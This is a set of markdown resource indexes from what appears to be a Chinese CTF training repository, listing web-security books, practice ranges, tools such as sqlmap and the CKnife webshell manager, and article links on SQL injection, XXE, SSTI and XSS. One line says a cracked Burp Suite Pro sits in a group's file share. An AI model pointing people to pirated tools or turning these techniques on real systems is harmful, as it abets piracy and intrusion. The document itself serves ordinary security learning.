52 | - [侧信道攻击2](http://www.cnblogs.com/wangaohui/p/5706816.html)
53 | - 可尝试利用Angr符号执行进行侧信道攻击
--------------------------------------------------------------------------------
/资源索引/CTF/Jeopardy/Web.md:
--------------------------------------------------------------------------------
1 | # Web
2 |
3 | >学习路线:[Web安全学习路线](http://momomoxiaoxi.com/2016/10/22/Websecurity/)
4 |
5 |
6 | ## Books
7 |
8 | * 黑客攻防技术宝典-web实战篇
9 | * 白帽子讲web安全
10 | * SQL注入攻击与防御
11 | * [腾讯实例教程] 那些年我们一起学XSS
12 |
13 | ## Practices
14 |
15 | * SQLi_Lab(php+mysql注入实验) [github地址](https://github.com/Audi-1/sqli-labs)
16 | * DVWA(综合渗透测试靶场) [github地址](https://github.com/ethicalhack3r/DVWA)
17 | * xss在线练习:
18 | * [xss-quiz](http://xss-quiz.int21h.jp/)
19 | * [alert1-to-win](https://alf.nu/alert1)
20 | * [prompt-to-win](http://prompt.ml/0)
21 | * [十大渗透测试演练系统](http://www.freebuf.com/sectool/4708.html)
22 | * [实验吧](http://www.shiyanbar.com/)
23 | * [i春秋](https://www.ichunqiu.com/)
24 | * [bugku](http://www.bugku.com/)
25 | * [南京邮电大学网络攻防训练平台](http://ctf.nuptsast.com/)
26 | * [JarvisOJ](https://www.jarvisoj.com/)
27 | * [SniperOJ](http://www.sniperoj.com/)
28 |
29 | ## Tools
30 |
31 | * burpsuite pro(群文件中有破解版)
32 | * AWVS(扫描器)
33 | * 御剑(爆目录)
34 | * 中国菜刀(CKnife java版) [github地址](https://github.com/Chora10/Cknife)
35 | * sqlmap [github地址](https://github.com/sqlmapproject/sqlmap)
36 | * firefox hackbar插件
37 | * 源码泄露检测工具 [github地址](https://github.com/WangYihang/SourceLeakHacker)
38 |
39 | ## Articles
40 | * php
41 | * [从弱类型利用以及对象注入到SQL注入](http://bobao.360.cn/learning/detail/3486.html)
42 | * [php弱类型安全问题总结](https://blog.spoock.com/2016/06/25/weakly-typed-security/)
43 | * [php里的随机数](http://5alt.me/2017/06/php%E9%87%8C%E7%9A%84%E9%9A%8F%E6%9C%BA%E6%95%B0/)
44 | * 注入
45 | * sql注入
46 | * [HackMe-SQL-Injection-Challenges](https://github.com/breakthenet/HackMe-SQL-Injection-Challenges)
47 | * [MSSQL DBA权限获取WEBSHELL的过程](http://fuping.site/2017/05/16/MSSQL-DBA-Permission-GET-WEBSHELL/)
48 | * [sqlmap试用总结](http://www.zerokeeper.com/web-security/sqlmap-usage-summary.html)
49 | * [Linux MySQL Udf提权](http://www.91ri.org/16540.html)
50 | * [使用burp macros和sqlmap绕过csrf防护进行sql注入](http://bobao.360.cn/learning/detail/3557.html)
51 | * [MySQL 注入攻击与防御](http://bobao.360.cn/learning/detail/3758.html)
52 | * [SQL注入防御与绕过的几种姿势](http://bobao.360.cn/learning/detail/3801.html)
53 | * [MySQL False注入及技巧总结](http://bobao.360.cn/learning/detail/3804.html)
54 | * [MSSQL 注入攻击与防御](http://bobao.360.cn/learning/detail/3807.html)
55 | * XML External Entity Injection
56 | * [XXE漏洞分析](http://www.4o4notfound.org/index.php/archives/29/)
57 | * [XML实体注入漏洞攻与防](http://www.hackersb.cn/hacker/211.html)
58 | * [XXE (XML External Entity Injection) 漏洞实践](http://www.mottoin.com/101806.html)
59 | * [如何挖掘Uber网站的XXE注入漏洞](http://www.mottoin.com/86853.html)
60 | * [XXE被提起时我们会想到什么](http://www.mottoin.com/88085.html)
61 | * [XXE漏洞的简单理解和测试](http://www.mottoin.com/92794.html)
62 | * [XXE漏洞攻防之我见](http://bobao.360.cn/learning/detail/3841.html)
63 | * [XXE漏洞利用的一些技巧](http://www.91ri.org/17052.html)
64 | * JSONP注入
65 | * [JSONP注入解析](http://www.freebuf.com/articles/web/126347.html)
66 | * [JSONP安全攻防技术](http://blog.knownsec.com/2015/03/jsonp_security_technic/)
67 | * [一次关于JSONP的小实验与总结](http://www.cnblogs.com/vimsk/archive/2013/01/29/2877888.html)
68 | * [利用JSONP跨域获取信息](https://xianzhi.aliyun.com/forum/read/1571.html)
69 | * [关于跨域和jsonp的一些理解(新手向)](https://segmentfault.com/a/1190000009577990)
70 | * SSTI(服务端模板注入)
71 | * [乱弹Flask模板注入](http://www.freebuf.com/articles/web/88768.html)
72 | * [服务端模板注入攻击 (SSTI)之浅析](http://www.freebuf.com/articles/web/88768.html)
73 | * [Exploring SSTI in Flask/Jinja2](https://nvisium.com/blog/2016/03/09/exploring-ssti-in-flask-jinja2/)
74 | * [Exploring SSTI in Flask/Jinja2, Part II](https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/)
75 | * [Flask Jinja2开发中遇到的的服务端注入问题研究](http://www.freebuf.com/articles/web/136118.html)
76 | * [FlaskJinja2 开发中遇到的的服务端注入问题研究 II](http://www.freebuf.com/articles/web/136180.html)
77 | * XSS
78 | * [浅谈跨站脚本攻击与防御](https://thief.one/2017/05/31/1/)
79 | * [漫谈同源策略攻防](http://bobao.360.cn/learning/detail/3848.html)
80 | * [XSS小记](https://xianzhi.aliyun.com/forum/read/196.html?fpage=7)
81 | * [XSSBypass Cookbook](https://xianzhi.aliyun.com/forum/read/536.html?fpage=7)
82 | * [[Web安全]当代 Web 的 JSON 劫持技巧](https://xianzhi.aliyun.com/forum/read/462.html?fpage=10)
83 | * [Content Security Policy 入门教程](https://jaq.alibaba.com/community/art/show?spm=a313e.7916646.24000001.49.ZP8rXN&articleid=518)
84 | * [不常见的xss利用探索](http://docs.ioin.in/writeup/wps2015.org/_2016_06_27__E4_B8_8D_E5_B8_B8_E8_A7_81_E7_9A_84xss_E5_88_A9_E7_94_A8_E6_8E_A2_E7_B4_A2_/index.html)
85 | * [CRLF Injection and Bypass Tencent WAF](https://zhchbin.github.io/2016/01/31/CRLF-Injection-and-Bypass-WAF/)
86 | * [chrome是怎么过滤XSS的呐](https://www.zhihu.com/question/20941818/answer/180842222?utm_source=qq&utm_medium=social)
87 | * [XSS Cheat Sheet](https://xianzhi.aliyun.com/forum/read/1704.html)
88 | * [CRLF Injection and Bypass Tencent WAF](https://xianzhi.aliyun.com/forum/read/1704.html)
89 |
--------------------------------------------------------------------------------
/资源索引/README.md:
--------------------------------------------------------------------------------
1 | # Know it then Hack it(V1.0)
2 |
3 | ## All
4 |
5 | ### Sites
6 |
7 | - **[Hack-with-Github:Awesome-Hacking](https://github.com/Hack-with-Github/Awesome-Hacking)**
8 |
9 | ### Practices
10 |
11 | - [vulhub](https://github.com/vulhub/vulhub)
12 |
13 | ## CTF
14 |
15 | - Guide
16 | - [CTF-wiki](https://ctf-wiki.github.io/ctf-wiki/#/introduction)
17 | - [CTF Field Guide](https://trailofbits.github.io/ctf/)
18 |
19 | - Jeopardy(技能赛)
20 | - [Misc](CTF/Jeopardy/Misc.md)
21 | - [Web](CTF/Jeopardy/Web.md)
22 | - [Android](CTF/Jeopardy/Android.md)
23 | - [Reverse](CTF/Jeopardy/Re.md)
24 | - [Crypto](CTF/Jeopardy/Crypto.md)
25 | - [Pwn](CTF/Jeopardy/Pwn.md)
26 |
27 | - 攻防赛(AWD)
28 | - [AWD](CTF/AWD)
29 |
30 | ## Else
31 |
32 | ### Blog
33 |
34 | TODO
35 |
36 | ### Github
37 |
38 | - [SecWiki](https://github.com/SecWiki)
39 | - [Scanners-Box](https://github.com/We5ter/Scanners-Box)
40 |
41 | ### WeChat
42 |
43 | - [CTFer的魔法棒](https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=22497)
--------------------------------------------------------------------------------
/资源索引/files/CTF/Jeopardy/Re/crackme.rar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/susers/Course/d7f700574cfe7384c9f73cd5e0945646e9065f34/资源索引/files/CTF/Jeopardy/Re/crackme.rar
--------------------------------------------------------------------------------
/资源索引/files/CTF/Jeopardy/Re/recon2015-14-christopher-domas-The-movfuscator.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/susers/Course/d7f700574cfe7384c9f73cd5e0945646e9065f34/资源索引/files/CTF/Jeopardy/Re/recon2015-14-christopher-domas-The-movfuscator.pdf
--------------------------------------------------------------------------------
/资源索引/files/CTF/Jeopardy/Web/腾讯XSS实例教程.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/susers/Course/d7f700574cfe7384c9f73cd5e0945646e9065f34/资源索引/files/CTF/Jeopardy/Web/腾讯XSS实例教程.pdf
--------------------------------------------------------------------------------